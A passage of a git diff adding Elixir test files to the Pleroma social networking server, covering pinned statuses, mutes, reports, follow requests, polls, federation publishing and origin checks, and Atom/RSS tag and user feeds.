:already_liked} = CommonAPI.favorite(user, activity.id) + end + end + + describe "pinned statuses" do + setup do + Pleroma.Config.put([:instance, :max_pinned_statuses], 1) + + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) + + [user: user, activity: activity] + end + + test "pin status", %{user: user, activity: activity} do + assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) + + id = activity.id + user = refresh_record(user) + + assert %User{pinned_activities: [^id]} = user + end + + test "pin poll", %{user: user} do + {:ok, activity} = + CommonAPI.post(user, %{ + status: "How is fediverse today?", + poll: %{options: ["Absolutely outstanding", "Not good"], expires_in: 20} + }) + + assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) + + id = activity.id + user = refresh_record(user) + + assert %User{pinned_activities: [^id]} = user + end + + test "unlisted statuses can be pinned", %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!", visibility: "unlisted"}) + assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) + end + + test "only self-authored can be pinned", %{activity: activity} do + user = insert(:user) + + assert {:error, "Could not pin"} = CommonAPI.pin(activity.id, user) + end + + test "max pinned statuses", %{user: user, activity: activity_one} do + {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) + + assert {:ok, ^activity_one} = CommonAPI.pin(activity_one.id, user) + + user = refresh_record(user) + + assert {:error, "You have already pinned the maximum number of statuses"} = + CommonAPI.pin(activity_two.id, user) + end + + test "unpin status", %{user: user, activity: activity} do + {:ok, activity} = CommonAPI.pin(activity.id, user) + + user = refresh_record(user) + + id = activity.id + + assert match?({:ok, %{id: ^id}}, CommonAPI.unpin(activity.id, user)) + + user = refresh_record(user) + + assert %User{pinned_activities: []} = user + end + + test "should unpin when deleting a status", %{user: user, activity: activity} do + {:ok, activity} = CommonAPI.pin(activity.id, user) + + user = refresh_record(user) + + assert {:ok, _} = CommonAPI.delete(activity.id, user) + + user = refresh_record(user) + + assert %User{pinned_activities: []} = user + end + end + + describe "mute tests" do + setup do + user = insert(:user) + + activity = insert(:note_activity) + + [user: user, activity: activity] + end + + test "marks notifications as read after mute" do + author = insert(:user) + activity = insert(:note_activity, user: author) + + friend1 = insert(:user) + friend2 = insert(:user) + + {:ok, reply_activity} = + CommonAPI.post( + friend2, + %{ + status: "@#{author.nickname} @#{friend1.nickname} test reply", + in_reply_to_status_id: activity.id + } + ) + + {:ok, favorite_activity} = CommonAPI.favorite(friend2, activity.id) + {:ok, repeat_activity} = CommonAPI.repeat(activity.id, friend1) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + unread_notifications = + Repo.all(from(n in Notification, where: n.seen == false, where: n.user_id == ^author.id)) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(unread_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + + {:ok, _} = CommonAPI.add_mute(author, activity) + assert CommonAPI.thread_muted?(author, activity) + + assert Repo.aggregate( + from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), + :count + ) == 1 + + read_notifications = + Repo.all(from(n in Notification, where: n.seen == true, where: n.user_id == ^author.id)) + + assert Enum.any?(read_notifications, fn n -> + n.type == "favourite" && n.activity_id == favorite_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "reblog" && n.activity_id == repeat_activity.id + end) + + assert Enum.any?(read_notifications, fn n -> + n.type == "mention" && n.activity_id == reply_activity.id + end) + end + + test "add mute", %{user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + assert CommonAPI.thread_muted?(user, activity) + end + + test "remove mute", %{user: user, activity: activity} do + CommonAPI.add_mute(user, activity) + {:ok, _} = CommonAPI.remove_mute(user, activity) + refute CommonAPI.thread_muted?(user, activity) + end + + test "check that mutes can't be duplicate", %{user: user, activity: activity} do + CommonAPI.add_mute(user, activity) + {:error, _} = CommonAPI.add_mute(user, activity) + end + end + + describe "reports" do + test "creates a report" do + reporter = insert(:user) + target_user = insert(:user) + + {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) + + reporter_ap_id = reporter.ap_id + target_ap_id = target_user.ap_id + activity_ap_id = activity.data["id"] + comment = "foobar" + + report_data = %{ + account_id: target_user.id, + comment: comment, + status_ids: [activity.id] + } + + note_obj = %{ + "type" => "Note", + "id" => activity_ap_id, + "content" => "foobar", + "published" => activity.object.data["published"], + "actor" => AccountView.render("show.json", %{user: target_user}) + } + + assert {:ok, flag_activity} = CommonAPI.report(reporter, report_data) + + assert %Activity{ + actor: ^reporter_ap_id, + data: %{ + "type" => "Flag", + "content" => ^comment, + "object" => [^target_ap_id, ^note_obj], + "state" => "open" + } + } = flag_activity + end + + test "updates report state" do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %Activity{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, report} = CommonAPI.update_report_state(report_id, "resolved") + + assert report.data["state"] == "resolved" + + [reported_user, activity_id] = report.data["object"] + + assert reported_user == target_user.ap_id + assert activity_id == activity.data["id"] + end + + test "does not update report state when state is unsupported" do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %Activity{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + assert CommonAPI.update_report_state(report_id, "test") == {:error, "Unsupported state"} + end + + test "updates state of multiple reports" do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %Activity{id: first_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, %Activity{id: second_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel very offended!", + status_ids: [activity.id] + }) + + {:ok, report_ids} = + CommonAPI.update_report_state([first_report_id, second_report_id], "resolved") + + first_report = Activity.get_by_id(first_report_id) + second_report = Activity.get_by_id(second_report_id) + + assert report_ids -- [first_report_id, second_report_id] == [] + assert first_report.data["state"] == "resolved" + assert second_report.data["state"] == "resolved" + end + end + + describe "reblog muting" do + setup do + muter = insert(:user) + + muted = insert(:user) + + [muter: muter, muted: muted] + end + + test "add a reblog mute", %{muter: muter, muted: muted} do + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) + + assert User.showing_reblogs?(muter, muted) == false + end + + test "remove a reblog mute", %{muter: muter, muted: muted} do + {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) + {:ok, _reblog_mute} = CommonAPI.show_reblogs(muter, muted) + + assert User.showing_reblogs?(muter, muted) == true + end + end + + describe "follow/2" do + test "directly follows a non-locked local user" do + [follower, followed] = insert_pair(:user) + {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) + + assert User.following?(follower, followed) + end + end + + describe "unfollow/2" do + test "also unsubscribes a user" do + [follower, followed] = insert_pair(:user) + {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) + {:ok, _subscription} = User.subscribe(follower, followed) + + assert User.subscribed_to?(follower, followed) + + {:ok, follower} = CommonAPI.unfollow(follower, followed) + + refute User.subscribed_to?(follower, followed) + end + + test "cancels a pending follow for a local user" do + follower = insert(:user) + followed = insert(:user, locked: true) + + assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = + CommonAPI.follow(follower, followed) + + assert User.get_follow_state(follower, followed) == :follow_pending + assert {:ok, follower} = CommonAPI.unfollow(follower, followed) + assert User.get_follow_state(follower, followed) == nil + + assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = + Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) + + assert %{ + data: %{ + "type" => "Undo", + "object" => %{"type" => "Follow", "state" => "cancelled"} + } + } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) + end + + test "cancels a pending follow for a remote user" do + follower = insert(:user) + followed = insert(:user, locked: true, local: false, ap_enabled: true) + + assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = + CommonAPI.follow(follower, followed) + + assert User.get_follow_state(follower, followed) == :follow_pending + assert {:ok, follower} = CommonAPI.unfollow(follower, followed) + assert User.get_follow_state(follower, followed) == nil + + assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = + Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) + + assert %{ + data: %{ + "type" => "Undo", + "object" => %{"type" => "Follow", "state" => "cancelled"} + } + } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) + end + end + + describe "accept_follow_request/2" do + test "after acceptance, it sets all existing pending follow request states to 'accept'" do + user = insert(:user, locked: true) + follower = insert(:user) + follower_two = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) + + assert follow_activity.data["state"] == "pending" + assert follow_activity_two.data["state"] == "pending" + assert follow_activity_three.data["state"] == "pending" + + {:ok, _follower} = CommonAPI.accept_follow_request(follower, user) + + assert Repo.get(Activity, follow_activity.id).data["state"] == "accept" + assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept" + assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" + end + + test "after rejection, it sets all existing pending follow request states to 'reject'" do + user = insert(:user, locked: true) + follower = insert(:user) + follower_two = insert(:user) + + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) + {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) + + assert follow_activity.data["state"] == "pending" + assert follow_activity_two.data["state"] == "pending" + assert follow_activity_three.data["state"] == "pending" + + {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) + + assert Repo.get(Activity, follow_activity.id).data["state"] == "reject" + assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject" + assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" + end + + test "doesn't create a following relationship if the corresponding follow request doesn't exist" do + user = insert(:user, locked: true) + not_follower = insert(:user) + CommonAPI.accept_follow_request(not_follower, user) + + assert Pleroma.FollowingRelationship.following?(not_follower, user) == false + end + end + + describe "vote/3" do + test "does not allow to vote twice" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20} + }) + + object = Object.normalize(activity) + + {:ok, _, object} = CommonAPI.vote(other_user, object, [0]) + + assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1]) + end + end + + describe "listen/2" do + test "returns a valid activity" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 1", + album: "lain radio", + artist: "lain", + length: 180_000 + }) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + + assert Visibility.get_visibility(activity) == "public" + end + + test "respects visibility=private" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.listen(user, %{ + title: "lain radio episode 1", + album: "lain radio", + artist: "lain", + length: 180_000, + visibility: "private" + }) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + + assert Visibility.get_visibility(activity) == "private" + end + end + + describe "get_user/1" do + test "gets user by ap_id" do + user = insert(:user) + assert CommonAPI.get_user(user.ap_id) == user + end + + test "gets user by guessed nickname" do + user = insert(:user, ap_id: "", nickname: "mario@mushroom.kingdom") + assert CommonAPI.get_user("https://mushroom.kingdom/users/mario") == user + end + + test "fallback" do + assert %User{ + name: "", + ap_id: "", + nickname: "erroruser@example.com" + } = CommonAPI.get_user("") + end + end +end diff --git a/test/pleroma/web/fallback_test.exs b/test/pleroma/web/fallback_test.exs new file mode 100644 index 000000000..a65865860 --- /dev/null +++ b/test/pleroma/web/fallback_test.exs @@ -0,0 +1,80 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FallbackTest do + use Pleroma.Web.ConnCase + import Pleroma.Factory + + describe "neither preloaded data nor metadata attached to" do + test "GET /registration/:token", %{conn: conn} do + response = get(conn, "/registration/foo") + + assert html_response(response, 200) =~ "" + end + + test "GET /*path", %{conn: conn} do + assert conn + |> get("/foo") + |> html_response(200) =~ "" + end + end + + describe "preloaded data and metadata attached to" do + test "GET /:maybe_nickname_or_id", %{conn: conn} do + user = insert(:user) + user_missing = get(conn, "/foo") + user_present = get(conn, "/#{user.nickname}") + + assert(html_response(user_missing, 200) =~ "") + refute html_response(user_present, 200) =~ "" + assert html_response(user_present, 200) =~ "initial-results" + end + + test "GET /*path", %{conn: conn} do + assert conn + |> get("/foo") + |> html_response(200) =~ "" + + refute conn + |> get("/foo/bar") + |> html_response(200) =~ "" + end + end + + describe "preloaded data is attached to" do + test "GET /main/public", %{conn: conn} do + public_page = get(conn, "/main/public") + + refute html_response(public_page, 200) =~ "" + assert html_response(public_page, 200) =~ "initial-results" + end + + test "GET /main/all", %{conn: conn} do + public_page = get(conn, "/main/all") + + refute html_response(public_page, 200) =~ "" + assert html_response(public_page, 200) =~ "initial-results" + end + end + + test "GET /api*path", %{conn: conn} do + assert conn + |> get("/api/foo") + |> json_response(404) == %{"error" => "Not implemented"} + end + + test "GET /pleroma/admin -> /pleroma/admin/", %{conn: conn} do + assert redirected_to(get(conn, "/pleroma/admin")) =~ "/pleroma/admin/" + end + + test "OPTIONS /*path", %{conn: conn} do + assert conn + |> options("/foo") + |> response(204) == "" + + assert conn + |> options("/foo/bar") + |> response(204) == "" + end +end diff --git a/test/pleroma/web/federator_test.exs b/test/pleroma/web/federator_test.exs new file mode 100644 index 000000000..592fdccd1 --- /dev/null +++ b/test/pleroma/web/federator_test.exs @@ -0,0 +1,173 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FederatorTest do + alias Pleroma.Instances + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Federator + alias Pleroma.Workers.PublisherWorker + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + import Mock + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + setup do: clear_config([:instance, :allow_relay]) + setup do: clear_config([:mrf, :policies]) + setup do: clear_config([:mrf_keyword]) + + describe "Publish an activity" do + setup do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "HI"}) + + relay_mock = { + Pleroma.Web.ActivityPub.Relay, + [], + [publish: fn _activity -> send(self(), :relay_publish) end] + } + + %{activity: activity, relay_mock: relay_mock} + end + + test "with relays active, it publishes to the relay", %{ + activity: activity, + relay_mock: relay_mock + } do + with_mocks([relay_mock]) do + Federator.publish(activity) + ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + end + + assert_received :relay_publish + end + + test "with relays deactivated, it does not publish to the relay", %{ + activity: activity, + relay_mock: relay_mock + } do + Pleroma.Config.put([:instance, :allow_relay], false) + + with_mocks([relay_mock]) do + Federator.publish(activity) + ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + end + + refute_received :relay_publish + end + end + + describe "Targets reachability filtering in `publish`" do + test "it federates only to reachable instances via AP" do + user = insert(:user) + + {inbox1, inbox2} = + {"https://domain.com/users/nick1/inbox", "https://domain2.com/users/nick2/inbox"} + + insert(:user, %{ + local: false, + nickname: "nick1@domain.com", + ap_id: "https://domain.com/users/nick1", + inbox: inbox1, + ap_enabled: true + }) + + insert(:user, %{ + local: false, + nickname: "nick2@domain2.com", + ap_id: "https://domain2.com/users/nick2", + inbox: inbox2, + ap_enabled: true + }) + + dt = NaiveDateTime.utc_now() + Instances.set_unreachable(inbox1, dt) + + Instances.set_consistently_unreachable(URI.parse(inbox2).host) + + {:ok, _activity} = + CommonAPI.post(user, %{status: "HI @nick1@domain.com, @nick2@domain2.com!"}) + + expected_dt = NaiveDateTime.to_iso8601(dt) + + ObanHelpers.perform(all_enqueued(worker: PublisherWorker)) + + assert ObanHelpers.member?( + %{ + "op" => "publish_one", + "params" => %{"inbox" => inbox1, "unreachable_since" => expected_dt} + }, + all_enqueued(worker: PublisherWorker) + ) + end + end + + describe "Receive an activity" do + test "successfully processes incoming AP docs with correct origin" do + params = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "http://mastodon.example.org/users/admin", + "type" => "Create", + "id" => "http://mastodon.example.org/users/admin/activities/1", + "object" => %{ + "type" => "Note", + "content" => "hi world!", + "id" => "http://mastodon.example.org/users/admin/objects/1", + "attributedTo" => "http://mastodon.example.org/users/admin" + }, + "to" => ["https://www.w3.org/ns/activitystreams#Public"] + } + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:ok, _activity} = ObanHelpers.perform(job) + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:error, :already_present} = ObanHelpers.perform(job) + end + + test "rejects incoming AP docs with incorrect origin" do + params = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://niu.moe/users/rye", + "type" => "Create", + "id" => "http://mastodon.example.org/users/admin/activities/1", + "object" => %{ + "type" => "Note", + "content" => "hi world!", + "id" => "http://mastodon.example.org/users/admin/objects/1", + "attributedTo" => "http://mastodon.example.org/users/admin" + }, + "to" => ["https://www.w3.org/ns/activitystreams#Public"] + } + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:error, :origin_containment_failed} = ObanHelpers.perform(job) + end + + test "it does not crash if MRF rejects the post" do + Pleroma.Config.put([:mrf_keyword, :reject], ["lain"]) + + Pleroma.Config.put( + [:mrf, :policies], + Pleroma.Web.ActivityPub.MRF.KeywordPolicy + ) + + params = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + assert {:ok, job} = Federator.incoming_ap_doc(params) + assert {:error, _} = ObanHelpers.perform(job) + end + end +end diff --git a/test/pleroma/web/feed/tag_controller_test.exs b/test/pleroma/web/feed/tag_controller_test.exs new file mode 100644 index 000000000..868e40965 --- /dev/null +++ b/test/pleroma/web/feed/tag_controller_test.exs @@ -0,0 +1,197 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Feed.TagControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import SweetXml + + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Feed.FeedView + + setup do: clear_config([:feed]) + + test "gets a feed (ATOM)", %{conn: conn} do + Pleroma.Config.put( + [:feed, :post_title], + %{max_length: 25, omission: "..."} + ) + + user = insert(:user) + {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) + + object = Object.normalize(activity1) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) + + {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) + + response = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart.atom")) + |> response(200) + + xml = parse(response) + + assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ + '42 This is :moominmamm...', + 'yeah #PleromaArt' + ] + + assert xpath(xml, ~x"//feed/entry/author/name/text()"ls) == [user.nickname, user.nickname] + assert xpath(xml, ~x"//feed/entry/author/id/text()"ls) == [user.ap_id, user.ap_id] + + conn = + conn + |> put_req_header("accept", "application/atom+xml") + |> get("/tags/pleromaart.atom", %{"max_id" => activity2.id}) + + assert get_resp_header(conn, "content-type") == ["application/atom+xml; charset=utf-8"] + resp = response(conn, 200) + xml = parse(resp) + + assert xpath(xml, ~x"//feed/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//feed/entry/title/text()"l) == [ + 'yeah #PleromaArt' + ] + end + + test "gets a feed (RSS)", %{conn: conn} do + Pleroma.Config.put( + [:feed, :post_title], + %{max_length: 25, omission: "..."} + ) + + user = insert(:user) + {:ok, activity1} = CommonAPI.post(user, %{status: "yeah #PleromaArt"}) + + object = Object.normalize(activity1) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + {:ok, activity2} = CommonAPI.post(user, %{status: "42 This is :moominmamma #PleromaArt"}) + + {:ok, _activity3} = CommonAPI.post(user, %{status: "This is :moominmamma"}) + + response = + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart.rss")) + |> response(200) + + xml = parse(response) + assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//channel/description/text()"s) == + "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." + + assert xpath(xml, ~x"//channel/link/text()") == + '#{Pleroma.Web.base_url()}/tags/pleromaart.rss' + + assert xpath(xml, ~x"//channel/webfeeds:logo/text()") == + '#{Pleroma.Web.base_url()}/static/logo.png' + + assert xpath(xml, ~x"//channel/item/title/text()"l) == [ + '42 This is :moominmamm...', + 'yeah #PleromaArt' + ] + + assert xpath(xml, ~x"//channel/item/pubDate/text()"sl) == [ + FeedView.pub_date(activity2.data["published"]), + FeedView.pub_date(activity1.data["published"]) + ] + + assert xpath(xml, ~x"//channel/item/enclosure/@url"sl) == [ + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4" + ] + + obj1 = Object.normalize(activity1) + obj2 = Object.normalize(activity2) + + assert xpath(xml, ~x"//channel/item/description/text()"sl) == [ + HtmlEntities.decode(FeedView.activity_content(obj2.data)), + HtmlEntities.decode(FeedView.activity_content(obj1.data)) + ] + + response = + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> response(200) + + xml = parse(response) + assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//channel/description/text()"s) == + "These are public toots tagged with #pleromaart. You can interact with them if you have an account anywhere in the fediverse." + + conn = + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/tags/pleromaart.rss", %{"max_id" => activity2.id}) + + assert get_resp_header(conn, "content-type") == ["application/rss+xml; charset=utf-8"] + resp = response(conn, 200) + xml = parse(resp) + + assert xpath(xml, ~x"//channel/title/text()") == '#pleromaart' + + assert xpath(xml, ~x"//channel/item/title/text()"l) == [ + 'yeah #PleromaArt' + ] + end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for tags feed", %{conn: conn} do + Config.put([:instance, :public], false) + + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> response(404) + end + end +end diff --git a/test/pleroma/web/feed/user_controller_test.exs b/test/pleroma/web/feed/user_controller_test.exs new file mode 100644 index 000000000..9a5610baa --- /dev/null +++ b/test/pleroma/web/feed/user_controller_test.exs @@ -0,0 +1,265 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Feed.UserControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import SweetXml + + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do: clear_config([:instance, :federating], true) + + describe "feed" do + setup do: clear_config([:feed]) + + test "gets an atom feed", %{conn: conn} do + Config.put( + [:feed, :post_title], + %{max_length: 10, omission: "..."} + ) + + activity = insert(:note_activity) + + note = + insert(:note, + data: %{ + "content" => "This is :moominmamma: note ", + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} + ] + } + ], + "inReplyTo" => activity.data["id"] + } + ) + + note_activity = insert(:note_activity, note: note) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + note2 = + insert(:note, + user: user, + data: %{ + "content" => "42 This is :moominmamma: note ", + "inReplyTo" => activity.data["id"] + } + ) + + note_activity2 = insert(:note_activity, note: note2) + object = Object.normalize(note_activity) + + resp = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//entry/title/text()"l) + + assert activity_titles == ['42 This...', 'This is...'] + assert resp =~ object.data["content"] + + resp = + conn + |> put_req_header("accept", "application/atom+xml") + |> get("/users/#{user.nickname}/feed", %{"max_id" => note_activity2.id}) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//entry/title/text()"l) + + assert activity_titles == ['This is...'] + end + + test "gets a rss feed", %{conn: conn} do + Pleroma.Config.put( + [:feed, :post_title], + %{max_length: 10, omission: "..."} + ) + + activity = insert(:note_activity) + + note = + insert(:note, + data: %{ + "content" => "This is :moominmamma: note ", + "attachment" => [ + %{ + "url" => [ + %{"mediaType" => "image/png", "href" => "https://pleroma.gov/image.png"} + ] + } + ], + "inReplyTo" => activity.data["id"] + } + ) + + note_activity = insert(:note_activity, note: note) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + note2 = + insert(:note, + user: user, + data: %{ + "content" => "42 This is :moominmamma: note ", + "inReplyTo" => activity.data["id"] + } + ) + + note_activity2 = insert(:note_activity, note: note2) + object = Object.normalize(note_activity) + + resp = + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/users/#{user.nickname}/feed.rss") + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//item/title/text()"l) + + assert activity_titles == ['42 This...', 'This is...'] + assert resp =~ object.data["content"] + + resp = + conn + |> put_req_header("accept", "application/rss+xml") + |> get("/users/#{user.nickname}/feed.rss", %{"max_id" => note_activity2.id}) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//item/title/text()"l) + + assert activity_titles == ['This is...'] + end + + test "returns 404 for a missing feed", %{conn: conn} do + conn = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, "nonexisting")) + + assert response(conn, 404) + end + + test "returns feed with public and unlisted activities", %{conn: conn} do + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "public", visibility: "public"}) + {:ok, _} = CommonAPI.post(user, %{status: "direct", visibility: "direct"}) + {:ok, _} = CommonAPI.post(user, %{status: "unlisted", visibility: "unlisted"}) + {:ok, _} = CommonAPI.post(user, %{status: "private", visibility: "private"}) + + resp = + conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(200) + + activity_titles = + resp + |> SweetXml.parse() + |> SweetXml.xpath(~x"//entry/title/text()"l) + |> Enum.sort() + + assert activity_titles == ['public', 'unlisted'] + end + + test "returns 404 when the user is remote", %{conn: conn} do + user = insert(:user, local: false) + + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + + assert conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(404) + end + end + + # Note: see ActivityPubControllerTest for JSON format tests + describe "feed_redirect" do + test "with html format, it redirects to user feed", %{conn: conn} do + note_activity = insert(:note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + response = + conn + |> get("/users/#{user.nickname}") + |> response(200) + + assert response == + Fallback.RedirectController.redirector_with_meta( + conn, + %{user: user} + ).resp_body + end + + test "with html format, it returns error when user is not found", %{conn: conn} do + response = + conn + |> get("/users/jimm") + |> json_response(404) + + assert response == %{"error" => "Not found"} + end + + test "with non-html / non-json format, it redirects to user feed in atom format", %{ + conn: conn + } do + note_activity = insert(:note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + conn = + conn + |> put_req_header("accept", "application/xml") + |> get("/users/#{user.nickname}") + + assert conn.status == 302 + assert redirected_to(conn) == "#{Pleroma.Web.base_url()}/users/#{user.nickname}/feed.atom" + end + + test "with non-html / non-json format, it returns error when user is not found", %{conn: conn} do + response = + conn + |> put_req_header("accept", "application/xml") + |> get(user_feed_path(conn, :feed, "jimm")) + |> response(404) + + assert response == ~S({"error":"Not found"}) + end + end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for user feed", %{conn: conn} do + Config.put([:instance, :public], false) + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + + assert conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(404) + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs new file mode 100644 index 000000000..f7f1369e4 --- /dev/null +++ 